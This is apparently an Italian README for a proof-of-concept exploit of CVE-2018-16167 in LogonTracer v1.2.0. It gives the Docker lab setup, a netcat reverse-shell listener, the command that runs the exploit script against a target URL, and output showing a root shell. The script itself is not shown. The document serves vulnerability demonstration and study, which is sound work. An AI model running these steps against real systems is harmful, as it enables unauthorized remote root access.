dnr6419/cve-2018-16167Proof-of-concept exploit per la vulnerabilità di esecuzione remota di codice in LogonTracer v1.2.0, che fornisce una reverse shell tramite Python e netcat.
Scarica da Docker Hub la versione 1.2.0 di LogonTracer, quella in cui è stata trovata la vulnerabilità.
$docker pull jpcertcc/docker-logontracer:v1.2.0
Avvia il contenitore con il seguente comando:
$docker run \ --detach \ --publish=7474:7474 --publish=7687:7687 --publish=8080:8080 \ -e LTHOSTNAME=[IP_ADDR] \ jpcertcc/docker-logontracer:v1.2.0
Apri una porta specifica sull'host da cui ottenere la shell utilizzando nc.
PS C:\Users\0ppr2s\Desktop\main\nc> .\nc64.exe -lvp {attacker_port}
listening on [any] 8888 ...
Esegui il codice di attacco.
dnr6419@DESKTOP-4CJA7LD ~/docker/logon
☺ python3 go.py {attacker_ip} {attacker_port} http://{victime_ip}:8080
Come mostrato nella figura seguente, puoi vedere che il codice di attacco è stato eseguito correttamente e che è stata ottenuta una shell remota.
PS C:\Users\0ppr2s\Desktop\main\nc> .\nc64.exe -lvp 8888 listening on [any] 8888 ... 192.168.56.103: inverse host lookup failed: h_errno 11004: NO_DATA connect to [192.168.56.1] from (UNKNOWN) [192.168.56.103] 41858: NO_DATA /usr/local/src/LogonTracer # ^[[16;30Rid id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video) /usr/local/src/LogonTracer # ^[[20;30R
